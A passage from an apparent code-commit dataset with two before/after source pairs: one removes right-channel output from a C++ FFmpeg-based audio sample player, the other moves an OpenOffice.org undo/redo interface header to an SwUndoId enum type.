std::unique_ptr<Socket>();\n#endif\n }\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * SamplePlayerSW.cpp\n *\n * Created on: Dec 28, 2013\n * Author: lukas\n *\/\n\n#include \"SamplePlayer_SW.h\"\n\nSamplePlayer_SW::SamplePlayer_SW(std::vector<std::string> params) : SamplePlayer(params) {\n\n m_StringToLoadPolicyMap[\"LOAD_ON_DEMAND\"] = LOAD_ON_DEMAND;\n m_StringToLoadPolicyMap[\"PRELOAD\"] = PRELOAD;\n m_StringToLoadPolicyMap[\"PRELOAD_DECOMPRESS\"] = PRELOAD_DECOMPRESS;\n\n m_LoadingPolicy = PRELOAD_DECOMPRESS; \/* Set preload as default loading policy *\/\n m_Playbackstate = STOP;\n m_CompressedDataBuffer = NULL;\n m_DecompressedDataBuffer = NULL;\n\n m_CurrentPlaybackOffset = 0;\n\n m_DecompressedDataSize = 0;\n\n \/* First parameter should be the filename *\/\n if (params.size() > 0) {\n m_SourceFile = params[0];\n\n m_Codec = NULL;\n m_Decoded_Frame = NULL;\n m_CodecCtx = NULL;\n m_ContainerCtx = NULL;\n\n if(params.size() > 1){\n std::string policyStr = params[1];\n\n std::transform(policyStr.begin(), policyStr.end(), policyStr.begin(), ::toupper);\n\n std::map<std::string, eLoadPolicy>::iterator iter = m_StringToLoadPolicyMap.find(params[1]);\n\n if(iter != m_StringToLoadPolicyMap.end()){\n m_LoadingPolicy = iter->second;\n }else{\n LOG_WARNING(\"Unknown loading policy: \" << policyStr);\n }\n }\n }\n}\n\nSamplePlayer_SW::~SamplePlayer_SW() {\n\n avcodec_close(m_CodecCtx);\n}\n\nvoid SamplePlayer_SW::initCodec() {\n\n avcodec_register_all();\n av_register_all();\n AVDictionary* dict;\n\n int stream_index = -1;\n\n if (avformat_open_input(&m_ContainerCtx, m_SourceFile.c_str(), NULL, NULL) < 0) {\n LOG_ERROR(\"Cound not open file: \" << m_SourceFile.c_str());\n }\n\n avformat_find_stream_info(m_ContainerCtx, NULL);\n\n LOG_INFO(\"Loading audio file \" << m_SourceFile);\n LOG_INFO(\"#Streams: \" << m_ContainerCtx->nb_streams);\n\n for (unsigned int i = 0; i < m_ContainerCtx->nb_streams; i++) {\n if (m_ContainerCtx->streams[i]->codec->codec_type == AVMEDIA_TYPE_AUDIO) {\n stream_index = i;\n break;\n }\n }\n\n if(stream_index == -1){\n LOG_ERROR(\"Could not find audio\");\n }\n\n m_CodecCtx = m_ContainerCtx->streams[stream_index]->codec;\n\n m_Codec = avcodec_find_decoder(m_CodecCtx->codec_id);\n\n if (!m_Codec) {\n\n LOG_ERROR(\"Codec not found\");\n avformat_close_input(&m_ContainerCtx);\n exit(1);\n }\n \/* request internal sample format *\/\n\n LOG_INFO(\"Codec tag: \"<< m_Codec->name << \", Codec ID: \" << m_Codec->id);\n\n LOG_DEBUG(\"#Channels: \" << m_CodecCtx->channels);\n\n \/* open it *\/\n if (avcodec_open2(m_CodecCtx, m_Codec, NULL) < 0) {\n LOG_ERROR(\"Could not open codec\");\n exit(1);\n }\n}\n\nvoid SamplePlayer_SW::init() {\n\n\n\n AVPacket avpkt;\n ReSampleContext* resmplCtx;\n int compressed_bytes_consumed = 0;\n int compressed_file_size = 0;\n uint8_t* l_ResampleBuffer;\n\n initCodec(); \/* Initialize audio codec *\/\n av_init_packet(&avpkt); \/* Initialize packet *\/\n\/\/ resmplCtx = av_audio_resample_init(m_CodecCtx->channels,\n\/\/ m_CodecCtx->channels,\n\/\/ Synthesizer::config::samplerate,\n\/\/ m_CodecCtx->sample_rate,\n\/\/ AV_SAMPLE_FMT_S32,\n\/\/ m_CodecCtx->sample_fmt,\n\/\/ 16, 10, 0, 1.0);\n\n m_DecompressedDataBuffer = new uint8_t[AVCODEC_MAX_AUDIO_FRAME_SIZE * MAX_PLAYBACK_LENGTH_SEC];\n memset(m_DecompressedDataBuffer, 0 ,AVCODEC_MAX_AUDIO_FRAME_SIZE * MAX_PLAYBACK_LENGTH_SEC);\n\n LOG_DEBUG(\"Decoding audio file\");\n LOG_DEBUG(\"Sample format:\" << av_get_sample_fmt_name(m_CodecCtx->sample_fmt));\n\n while (!av_read_frame(m_ContainerCtx, &avpkt)) {\n\n int got_frame = 0;\n\n if (!m_Decoded_Frame) {\n\n if (!(m_Decoded_Frame = avcodec_alloc_frame())) { \/* allocate once *\/\n\n LOG_ERROR(\"Could not allocate audio frame\");\n exit(1);\n }\n }else{\n avcodec_get_frame_defaults(m_Decoded_Frame);\n }\n\n compressed_bytes_consumed = avcodec_decode_audio4(m_CodecCtx, m_Decoded_Frame, &got_frame, &avpkt);\n\n if (compressed_bytes_consumed < 0) {\n LOG_ERROR(\"Error while decoding audio frame\");\n exit(1);\n }\n\n if (got_frame) {\n int samples_written = 0;\n int data_size = 0;\n size_t resampled_Bytes = 0;\n\n \/* if a frame has been decoded, output it *\/\n data_size = av_samples_get_buffer_size(NULL, m_CodecCtx->channels, m_Decoded_Frame->nb_samples, m_CodecCtx->sample_fmt, 1);\n\n int32_t* buf = (int32_t*) (m_DecompressedDataBuffer + m_DecompressedDataSize);\n\n switch(m_CodecCtx->sample_fmt){\n case AV_SAMPLE_FMT_NONE:\n case AV_SAMPLE_FMT_U8:\n\/\/ for(int i = 0; i < m_Decoded_Frame->nb_samples * m_CodecCtx->channels; i++){\n\/\/ buf[i] = (int32_t)( ((int8_t*) m_Decoded_Frame->data[0])[i] << 24 );\n\/\/ }\n\/\/ break;\n\n \/\/FIXME: convert other sample formats\n case AV_SAMPLE_FMT_S16:\n for(int i = 0; i < m_Decoded_Frame->nb_samples * m_CodecCtx->channels; i++){\n buf[i] = *(((short*)m_Decoded_Frame->data[0]) + i) << 16;\n }\n m_DecompressedDataSize += m_Decoded_Frame->nb_samples * m_CodecCtx->channels * av_get_bytes_per_sample(AV_SAMPLE_FMT_S32);\n break;\n\n case AV_SAMPLE_FMT_S32:\n\n memcpy(m_DecompressedDataBuffer + m_DecompressedDataSize, m_Decoded_Frame->data[0], data_size);\n\n m_DecompressedDataSize += data_size;\n\n break;\n\n case AV_SAMPLE_FMT_FLT:\n case AV_SAMPLE_FMT_DBL:\n\n case AV_SAMPLE_FMT_U8P:\n case AV_SAMPLE_FMT_S16P:\n case AV_SAMPLE_FMT_S32P:\n case AV_SAMPLE_FMT_FLTP:\n case AV_SAMPLE_FMT_DBLP:\n\n default:\n LOG_ERROR(\"Sample format is not supported\");\n }\n\n }\n }\n\n\n char* writeLeftPortPtr = m_SoundOut_Left_1_Port->getWriteBuffer();\n char* writeRightPortPtr = m_SoundOut_Right_2_Port->getWriteBuffer();\n\n memset(writeLeftPortPtr, 0, Synthesizer::config::bytesPerBlock);\n memset(writeRightPortPtr, 0, Synthesizer::config::bytesPerBlock);\n\n m_Trigger_1_Port->registerCallback(ICallbackPtr(new OnValueChange<int, ControlPortPtr>(trigger, m_Trigger_1_Port)));\n\/\/ audio_resample_close(resmplCtx);\n\/\/ av_free(m_CodecCtx);\n\/\/ av_free(m_Decoded_Frame);\n\/\/ avformat_free_context(m_ContainerCtx);\n}\n\nvoid SamplePlayer_SW::process() {\n\n int* writeLeftPortPtr = (int*)m_SoundOut_Left_1_Port->getWriteBuffer();\n int* writeRightPortPtr = (int*)m_SoundOut_Right_2_Port->getWriteBuffer();\n\n \/\/int trigger = (int) m_Trigger_1_Port->pop();\n\n if(trigger || (m_CurrentPlaybackOffset > 0 && m_CurrentPlaybackOffset < m_DecompressedDataSize)){\n\n switch(m_CodecCtx->channels){\n\n case 1:\n \/*\n * Copy samples to left and right channel\n *\/\n memcpy(writeLeftPortPtr, m_DecompressedDataBuffer + m_CurrentPlaybackOffset, Synthesizer::config::bytesPerBlock);\n memcpy(writeRightPortPtr, m_DecompressedDataBuffer + m_CurrentPlaybackOffset, Synthesizer::config::bytesPerBlock);\n\n m_CurrentPlaybackOffset += Synthesizer::config::bytesPerBlock;\n \/\/TODO: Add padding zeros when playbackoffset > n* blocksize\n break;\n case 2:\n \/*\n * Copy interleaved audio samples to left and right channel\n *\/\n for(int i = 0; i < Synthesizer::config::blocksize; i++){\n\n writeLeftPortPtr[i] = *((int*)(m_DecompressedDataBuffer + m_CurrentPlaybackOffset));\n writeRightPortPtr[i] = *((int*)(m_DecompressedDataBuffer + m_CurrentPlaybackOffset + Synthesizer::config::bytesPerSample));\n\n m_CurrentPlaybackOffset += Synthesizer::config::bytesPerSample * 2;\n\n if(m_CurrentPlaybackOffset >= m_DecompressedDataSize){\n\n \/* pad with zero *\/\n for(int j = i; j < Synthesizer::config::blocksize; j++){\n writeLeftPortPtr[j] = 0;\n writeRightPortPtr[j] = 0;\n }\n break;\n }\n }\n\n break;\n default:\n LOG_ERROR(\"Unsupported number of channels: \" << m_CodecCtx->channels);\n }\n\n if(m_CurrentPlaybackOffset >= m_DecompressedDataSize){\n m_CurrentPlaybackOffset = 0;\n }\n\n }else{\n\n memset((char*)writeLeftPortPtr, 0, Synthesizer::config::bytesPerBlock);\n memset((char*)writeRightPortPtr, 0, Synthesizer::config::bytesPerBlock);\n m_CurrentPlaybackOffset = 0;\n }\n}\n<commit_msg>Disabled the second sampleplayer channel. Has only one output in the component list and would otherwise be the only component with stereo support anyway<commit_after>\/*\n * SamplePlayerSW.cpp\n *\n * Created on: Dec 28, 2013\n * Author: lukas\n *\/\n\n#include \"SamplePlayer_SW.h\"\n\nSamplePlayer_SW::SamplePlayer_SW(std::vector<std::string> params) : SamplePlayer(params) {\n\n m_StringToLoadPolicyMap[\"LOAD_ON_DEMAND\"] = LOAD_ON_DEMAND;\n m_StringToLoadPolicyMap[\"PRELOAD\"] = PRELOAD;\n m_StringToLoadPolicyMap[\"PRELOAD_DECOMPRESS\"] = PRELOAD_DECOMPRESS;\n\n m_LoadingPolicy = PRELOAD_DECOMPRESS; \/* Set preload as default loading policy *\/\n m_Playbackstate = STOP;\n m_CompressedDataBuffer = NULL;\n m_DecompressedDataBuffer = NULL;\n\n m_CurrentPlaybackOffset = 0;\n\n m_DecompressedDataSize = 0;\n\n \/* First parameter should be the filename *\/\n if (params.size() > 0) {\n m_SourceFile = params[0];\n\n m_Codec = NULL;\n m_Decoded_Frame = NULL;\n m_CodecCtx = NULL;\n m_ContainerCtx = NULL;\n\n if(params.size() > 1){\n std::string policyStr = params[1];\n\n std::transform(policyStr.begin(), policyStr.end(), policyStr.begin(), ::toupper);\n\n std::map<std::string, eLoadPolicy>::iterator iter = m_StringToLoadPolicyMap.find(params[1]);\n\n if(iter != m_StringToLoadPolicyMap.end()){\n m_LoadingPolicy = iter->second;\n }else{\n LOG_WARNING(\"Unknown loading policy: \" << policyStr);\n }\n }\n }\n}\n\nSamplePlayer_SW::~SamplePlayer_SW() {\n\n avcodec_close(m_CodecCtx);\n}\n\nvoid SamplePlayer_SW::initCodec() {\n\n avcodec_register_all();\n av_register_all();\n AVDictionary* dict;\n\n int stream_index = -1;\n\n if (avformat_open_input(&m_ContainerCtx, m_SourceFile.c_str(), NULL, NULL) < 0) {\n LOG_ERROR(\"Cound not open file: \" << m_SourceFile.c_str());\n }\n\n avformat_find_stream_info(m_ContainerCtx, NULL);\n\n LOG_INFO(\"Loading audio file \" << m_SourceFile);\n LOG_INFO(\"#Streams: \" << m_ContainerCtx->nb_streams);\n\n for (unsigned int i = 0; i < m_ContainerCtx->nb_streams; i++) {\n if (m_ContainerCtx->streams[i]->codec->codec_type == AVMEDIA_TYPE_AUDIO) {\n stream_index = i;\n break;\n }\n }\n\n if(stream_index == -1){\n LOG_ERROR(\"Could not find audio\");\n }\n\n m_CodecCtx = m_ContainerCtx->streams[stream_index]->codec;\n\n m_Codec = avcodec_find_decoder(m_CodecCtx->codec_id);\n\n if (!m_Codec) {\n\n LOG_ERROR(\"Codec not found\");\n avformat_close_input(&m_ContainerCtx);\n exit(1);\n }\n \/* request internal sample format *\/\n\n LOG_INFO(\"Codec tag: \"<< m_Codec->name << \", Codec ID: \" << m_Codec->id);\n\n LOG_DEBUG(\"#Channels: \" << m_CodecCtx->channels);\n\n \/* open it *\/\n if (avcodec_open2(m_CodecCtx, m_Codec, NULL) < 0) {\n LOG_ERROR(\"Could not open codec\");\n exit(1);\n }\n}\n\nvoid SamplePlayer_SW::init() {\n\n\n\n AVPacket avpkt;\n ReSampleContext* resmplCtx;\n int compressed_bytes_consumed = 0;\n int compressed_file_size = 0;\n uint8_t* l_ResampleBuffer;\n\n initCodec(); \/* Initialize audio codec *\/\n av_init_packet(&avpkt); \/* Initialize packet *\/\n\/\/ resmplCtx = av_audio_resample_init(m_CodecCtx->channels,\n\/\/ m_CodecCtx->channels,\n\/\/ Synthesizer::config::samplerate,\n\/\/ m_CodecCtx->sample_rate,\n\/\/ AV_SAMPLE_FMT_S32,\n\/\/ m_CodecCtx->sample_fmt,\n\/\/ 16, 10, 0, 1.0);\n\n m_DecompressedDataBuffer = new uint8_t[AVCODEC_MAX_AUDIO_FRAME_SIZE * MAX_PLAYBACK_LENGTH_SEC];\n memset(m_DecompressedDataBuffer, 0 ,AVCODEC_MAX_AUDIO_FRAME_SIZE * MAX_PLAYBACK_LENGTH_SEC);\n\n LOG_DEBUG(\"Decoding audio file\");\n LOG_DEBUG(\"Sample format:\" << av_get_sample_fmt_name(m_CodecCtx->sample_fmt));\n\n while (!av_read_frame(m_ContainerCtx, &avpkt)) {\n\n int got_frame = 0;\n\n if (!m_Decoded_Frame) {\n\n if (!(m_Decoded_Frame = avcodec_alloc_frame())) { \/* allocate once *\/\n\n LOG_ERROR(\"Could not allocate audio frame\");\n exit(1);\n }\n }else{\n avcodec_get_frame_defaults(m_Decoded_Frame);\n }\n\n compressed_bytes_consumed = avcodec_decode_audio4(m_CodecCtx, m_Decoded_Frame, &got_frame, &avpkt);\n\n if (compressed_bytes_consumed < 0) {\n LOG_ERROR(\"Error while decoding audio frame\");\n exit(1);\n }\n\n if (got_frame) {\n int samples_written = 0;\n int data_size = 0;\n size_t resampled_Bytes = 0;\n\n \/* if a frame has been decoded, output it *\/\n data_size = av_samples_get_buffer_size(NULL, m_CodecCtx->channels, m_Decoded_Frame->nb_samples, m_CodecCtx->sample_fmt, 1);\n\n int32_t* buf = (int32_t*) (m_DecompressedDataBuffer + m_DecompressedDataSize);\n\n switch(m_CodecCtx->sample_fmt){\n case AV_SAMPLE_FMT_NONE:\n case AV_SAMPLE_FMT_U8:\n\/\/ for(int i = 0; i < m_Decoded_Frame->nb_samples * m_CodecCtx->channels; i++){\n\/\/ buf[i] = (int32_t)( ((int8_t*) m_Decoded_Frame->data[0])[i] << 24 );\n\/\/ }\n\/\/ break;\n\n \/\/FIXME: convert other sample formats\n case AV_SAMPLE_FMT_S16:\n for(int i = 0; i < m_Decoded_Frame->nb_samples * m_CodecCtx->channels; i++){\n buf[i] = *(((short*)m_Decoded_Frame->data[0]) + i) << 16;\n }\n m_DecompressedDataSize += m_Decoded_Frame->nb_samples * m_CodecCtx->channels * av_get_bytes_per_sample(AV_SAMPLE_FMT_S32);\n break;\n\n case AV_SAMPLE_FMT_S32:\n\n memcpy(m_DecompressedDataBuffer + m_DecompressedDataSize, m_Decoded_Frame->data[0], data_size);\n\n m_DecompressedDataSize += data_size;\n\n break;\n\n case AV_SAMPLE_FMT_FLT:\n case AV_SAMPLE_FMT_DBL:\n\n case AV_SAMPLE_FMT_U8P:\n case AV_SAMPLE_FMT_S16P:\n case AV_SAMPLE_FMT_S32P:\n case AV_SAMPLE_FMT_FLTP:\n case AV_SAMPLE_FMT_DBLP:\n\n default:\n LOG_ERROR(\"Sample format is not supported\");\n }\n\n }\n }\n\n\n char* writeLeftPortPtr = m_SoundOut_Left_1_Port->getWriteBuffer();\n char* writeRightPortPtr = m_SoundOut_Right_2_Port->getWriteBuffer();\n\n memset(writeLeftPortPtr, 0, Synthesizer::config::bytesPerBlock);\n\/\/ memset(writeRightPortPtr, 0, Synthesizer::config::bytesPerBlock);\n\n m_Trigger_1_Port->registerCallback(ICallbackPtr(new OnValueChange<int, ControlPortPtr>(trigger, m_Trigger_1_Port)));\n\/\/ audio_resample_close(resmplCtx);\n\/\/ av_free(m_CodecCtx);\n\/\/ av_free(m_Decoded_Frame);\n\/\/ avformat_free_context(m_ContainerCtx);\n}\n\nvoid SamplePlayer_SW::process() {\n\n int* writeLeftPortPtr = (int*)m_SoundOut_Left_1_Port->getWriteBuffer();\n int* writeRightPortPtr = (int*)m_SoundOut_Right_2_Port->getWriteBuffer();\n\n \/\/int trigger = (int) m_Trigger_1_Port->pop();\n\n if(trigger || (m_CurrentPlaybackOffset > 0 && m_CurrentPlaybackOffset < m_DecompressedDataSize)){\n\n switch(m_CodecCtx->channels){\n\n case 1:\n \/*\n * Copy samples to left and right channel\n *\/\n memcpy(writeLeftPortPtr, m_DecompressedDataBuffer + m_CurrentPlaybackOffset, Synthesizer::config::bytesPerBlock);\n memcpy(writeRightPortPtr, m_DecompressedDataBuffer + m_CurrentPlaybackOffset, Synthesizer::config::bytesPerBlock);\n\n m_CurrentPlaybackOffset += Synthesizer::config::bytesPerBlock;\n \/\/TODO: Add padding zeros when playbackoffset > n* blocksize\n break;\n case 2:\n \/*\n * Copy interleaved audio samples to left and right channel\n *\/\n for(int i = 0; i < Synthesizer::config::blocksize; i++){\n\n writeLeftPortPtr[i] = *((int*)(m_DecompressedDataBuffer + m_CurrentPlaybackOffset));\n \/\/ writeRightPortPtr[i] = *((int*)(m_DecompressedDataBuffer + m_CurrentPlaybackOffset + Synthesizer::config::bytesPerSample));\n\n m_CurrentPlaybackOffset += Synthesizer::config::bytesPerSample * 2;\n\n if(m_CurrentPlaybackOffset >= m_DecompressedDataSize){\n\n \/* pad with zero *\/\n for(int j = i; j < Synthesizer::config::blocksize; j++){\n writeLeftPortPtr[j] = 0;\n \/\/ writeRightPortPtr[j] = 0;\n }\n break;\n }\n }\n\n break;\n default:\n LOG_ERROR(\"Unsupported number of channels: \" << m_CodecCtx->channels);\n }\n\n if(m_CurrentPlaybackOffset >= m_DecompressedDataSize){\n m_CurrentPlaybackOffset = 0;\n }\n\n }else{\n\n memset((char*)writeLeftPortPtr, 0, Synthesizer::config::bytesPerBlock);\n\/\/ memset((char*)writeRightPortPtr, 0, Synthesizer::config::bytesPerBlock);\n m_CurrentPlaybackOffset = 0;\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: IDocumentUndoRedo.hxx,v $\n *\n * $Revision: 1.4 $\n *\n * last change: $Author: vg $ $Date: 2007-05-25 12:59:33 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n #ifndef IDOCUMENTUNDOREDO_HXX_INCLUDED\n #define IDOCUMENTUNDOREDO_HXX_INCLUDED\n\n #ifndef _SAL_TYPES_H_\n #include <sal\/types.h>\n #endif\n\n class SwUndoIter;\n class SwRewriter;\n class String;\n class SwUndoIds;\n class SwNodes;\n class SwUndo;\n\n\n typedef sal_uInt16 SwUndoNoModifiedPosition;\n\n \/** IDocumentUndoRedo\n *\/\n class IDocumentUndoRedo\n {\n public:\n \/**\n *\/\n virtual void SetUndoNoResetModified() = 0;\n\n \/**\n *\/\n virtual bool IsUndoNoResetModified() const = 0;\n\n \/** UndoHistory am Dokument pflegen\n bei Save, SaveAs, Create wird UndoHistory zurueckgesetzt ???\n *\/\n virtual void DoUndo(bool bUn) = 0;\n\n \/**\n *\/\n virtual bool DoesUndo() const = 0;\n\n \/** Zusammenfassen von Kontinuierlichen Insert\/Delete\/Overwrite von\n Charaktern. Default ist ::com::sun::star::sdbcx::Group-Undo.\n *\/\n virtual void DoGroupUndo(bool bUn) = 0;\n\n \/**\n *\/\n virtual bool DoesGroupUndo() const = 0;\n\n \/** macht rueckgaengig:\n 0 letzte Aktion, sonst Aktionen bis zum Start der Klammerung nUndoId\n In rUndoRange wird der restaurierte Bereich gesetzt.\n *\/\n virtual bool Undo( SwUndoIter& ) = 0; \/\/ -> #111827#\n\n \/** Opens undo block.\n\n @param nUndoId undo ID for the start object\n @param pRewriter rewriter for comments @see SwUndo::GetComment\n\n If the given nUndoId is equal to zero an undo object with ID\n UNDO_START will be generated.\n\n @return the undo ID of the created object\n *\/\n virtual sal_uInt16 StartUndo( sal_uInt16 nUndoId, const SwRewriter * pRewriter) = 0;\n\n \/**\n Closes undo block.\n\n @param nUndoId undo ID for the closure object\n @param pRewriter rewriter for comments @see SwUndo::GetComment\n\n If the given nUndoId is equal to zero an undo object with ID\n UNDO_START will be generated.\n\n If pRewriter is not equal to zero the given rewriter will be\n set for the generated closure object and the corresponding\n start object. Otherwise an existent rewriter in theIDocumentRedlineAccess\n corresponding start object will be propagated to the generated\n closure object.\n *\/\n virtual sal_uInt16 EndUndo( sal_uInt16 nUndoId, const SwRewriter * pRewriter) = 0;\n\n \/** <- #111827#\n loescht die gesamten UndoObjecte ( fuer Methoden die am Nodes\n Array drehen ohne entsprechendes Undo !!)\n *\/\n virtual void DelAllUndoObj() = 0;\n\n \/** liefert die Id der letzten undofaehigen Aktion zurueck\n oder USHRT_MAX fuellt ggf. VARARR mit ::com::sun::star::sdbcx::User-UndoIds\n *\/\n virtual sal_uInt16 GetUndoIds(String* pStr, SwUndoIds *pUndoIds) const = 0;\n\n \/**\n *\/\n virtual String GetUndoIdsStr(String* pStr, SwUndoIds *pUndoIds) const = 0;\n\n \/** gibt es Klammerung mit der Id?\n *\/\n virtual bool HasUndoId(sal_uInt16 nId) const = 0;\n\n \/* @@@MAINTAINABILITY-HORROR@@@\n Implementation details made public.\n die drei folgenden Methoden werden beim Undo und nur dort\n benoetigt. Sollten sonst nicht aufgerufen werden.\n *\/\n virtual const SwNodes* GetUndoNds() const = 0;\n\n virtual SwUndo* RemoveLastUndo(sal_uInt16 nUndoId) = 0;\n\n \/** 2002-05-31 dvo, #95884#: To prevent an undo array overflow when\n doing nested undos, undo may have to be disabled. Undo-intensive\n actions (like auto-format) should check this manually.\n *\/\n virtual bool HasTooManyUndos() const = 0;\n\n \/**\n *\/\n virtual bool Redo( SwUndoIter& ) = 0;\n\n \/** liefert die Id der letzten Redofaehigen Aktion zurueck\n fuellt ggf. VARARR mit RedoIds\n *\/\n virtual sal_uInt16 GetRedoIds( String* pStr, SwUndoIds *pRedoIds) const = 0;\n\n \/**\n *\/\n virtual String GetRedoIdsStr( String* pStr, SwUndoIds *pRedoIds) const = 0;\n\n \/**\n *\/\n virtual bool Repeat( SwUndoIter&, sal_uInt16 nRepeatCnt) = 0;\n\n \/** liefert die Id der letzten Repeatfaehigen Aktion zurueck\n fuellt ggf. VARARR mit RedoIds\n *\/\n virtual sal_uInt16 GetRepeatIds( String* pStr, SwUndoIds *pRedoIds) const = 0;\n\n \/**\n *\/\n virtual String GetRepeatIdsStr( String* pStr, SwUndoIds *pRedoIds) const = 0;\n\n \/** interne Verkuerzung fuer Insert am Ende\n *\/\n virtual void AppendUndo(SwUndo*) = 0;\n\n \/** loescht alle UndoObjecte von nUndoPos\n bis zum Ende des Undo-Arrays\n *\/\n virtual void ClearRedo() = 0;\n\n \/** Manipulates the position of the undo stack which reset the modified flag\n *\/\n virtual void setUndoNoModifiedPosition( SwUndoNoModifiedPosition ) = 0;\n\n \/** Gets the position of the undo stack which reset the modified flag\n *\/\n virtual SwUndoNoModifiedPosition getUndoNoModifiedPosition() const = 0;\n\n protected:\n virtual ~IDocumentUndoRedo() {};\n };\n\n #endif\n<commit_msg>INTEGRATION: CWS swwarnings (1.3.198); FILE MERGED 2007\/08\/22 09:17:47 tl 1.3.198.4: #i69287# warning-free code 2007\/08\/22 09:09:11 tl 1.3.198.3: #i69287# warning-free code 2007\/06\/28 11:47:57 os 1.3.198.2: RESYNC: (1.3-1.4); FILE MERGED 2007\/04\/03 12:57:03 tl 1.3.198.1: #i69287# warning-free code<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: IDocumentUndoRedo.hxx,v $\n *\n * $Revision: 1.5 $\n *\n * last change: $Author: hr $ $Date: 2007-09-27 07:54:26 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#ifndef IDOCUMENTUNDOREDO_HXX_INCLUDED\n#define IDOCUMENTUNDOREDO_HXX_INCLUDED\n\n#ifndef _SAL_TYPES_H_\n#include <sal\/types.h>\n#endif\n#ifndef _SWUNDO_HXX\n#include <swundo.hxx>\n#endif\n\n\nclass SwUndoIter;\nclass SwRewriter;\nclass String;\nclass SwUndoIds;\nclass SwNodes;\nclass SwUndo;\n\n\ntypedef sal_uInt16 SwUndoNoModifiedPosition;\n\n\/** IDocumentUndoRedo\n*\/\nclass IDocumentUndoRedo\n{\npublic:\n \/**\n *\/\n virtual void SetUndoNoResetModified() = 0;\n\n \/**\n *\/\n virtual bool IsUndoNoResetModified() const = 0;\n\n \/** UndoHistory am Dokument pflegen\n bei Save, SaveAs, Create wird UndoHistory zurueckgesetzt ???\n *\/\n virtual void DoUndo(bool bUn) = 0;\n\n \/**\n *\/\n virtual bool DoesUndo() const = 0;\n\n \/** Zusammenfassen von Kontinuierlichen Insert\/Delete\/Overwrite von\n Charaktern. Default ist ::com::sun::star::sdbcx::Group-Undo.\n *\/\n virtual void DoGroupUndo(bool bUn) = 0;\n\n \/**\n *\/\n virtual bool DoesGroupUndo() const = 0;\n\n \/** macht rueckgaengig:\n 0 letzte Aktion, sonst Aktionen bis zum Start der Klammerung nUndoId\n In rUndoRange wird der restaurierte Bereich gesetzt.\n *\/\n virtual bool Undo( SwUndoIter& ) = 0; \/\/ -> #111827#\n\n \/** Opens undo block.\n\n @param nUndoId undo ID for the start object\n @param pRewriter rewriter for comments @see SwUndo::GetComment\n\n If the given nUndoId is equal to zero an undo object with ID\n UNDO_START will be generated.\n\n @return the undo ID of the created object\n *\/\n virtual SwUndoId StartUndo( SwUndoId eUndoId, const SwRewriter * pRewriter) = 0;\n\n \/**\n Closes undo block.\n\n @param nUndoId undo ID for the closure object\n @param pRewriter rewriter for comments @see SwUndo::GetComment\n\n If the given nUndoId is equal to zero an undo object with ID\n UNDO_START will be generated.\n\n If pRewriter is not equal to zero the given rewriter will be\n set for the generated closure object and the corresponding\n start object. Otherwise an existent rewriter in theIDocumentRedlineAccess\n corresponding start object will be propagated to the generated\n closure object.\n *\/\n virtual SwUndoId EndUndo( SwUndoId eUndoId, const SwRewriter * pRewriter) = 0;\n\n \/** <- #111827#\n loescht die gesamten UndoObjecte ( fuer Methoden die am Nodes\n Array drehen ohne entsprechendes Undo !!)\n *\/\n virtual void DelAllUndoObj() = 0;\n\n \/** liefert die Id der letzten undofaehigen Aktion zurueck\n oder USHRT_MAX fuellt ggf. VARARR mit ::com::sun::star::sdbcx::User-UndoIds\n *\/\n virtual SwUndoId GetUndoIds(String* pStr, SwUndoIds *pUndoIds) const = 0;\n\n \/**\n *\/\n virtual String GetUndoIdsStr(String* pStr, SwUndoIds *pUndoIds) const = 0;\n\n \/** gibt es Klammerung mit der Id?\n *\/\n virtual bool HasUndoId(SwUndoId eId) const = 0;\n\n \/* @@@MAINTAINABILITY-HORROR@@@\n Implementation details made public.\n die drei folgenden Methoden werden beim Undo und nur dort\n benoetigt. Sollten sonst nicht aufgerufen werden.\n *\/\n virtual const SwNodes* GetUndoNds() const = 0;\n\n virtual SwUndo* RemoveLastUndo(SwUndoId eUndoId) = 0;\n\n \/** 2002-05-31 dvo, #95884#: To prevent an undo array overflow when\n doing nested undos, undo may have to be disabled. Undo-intensive\n actions (like auto-format) should check this manually.\n *\/\n virtual bool HasTooManyUndos() const = 0;\n\n \/**\n *\/\n virtual bool Redo( SwUndoIter& ) = 0;\n\n \/** liefert die Id der letzten Redofaehigen Aktion zurueck\n fuellt ggf. VARARR mit RedoIds\n *\/\n virtual SwUndoId GetRedoIds( String* pStr, SwUndoIds *pRedoIds) const = 0;\n\n \/**\n *\/\n virtual String GetRedoIdsStr( String* pStr, SwUndoIds *pRedoIds) const = 0;\n\n \/**\n *\/\n virtual bool Repeat( SwUndoIter&, sal_uInt16 nRepeatCnt) = 0;\n\n \/** liefert die Id der letzten Repeatfaehigen Aktion zurueck\n fuellt ggf. VARARR mit RedoIds\n *\/\n virtual SwUndoId GetRepeatIds( 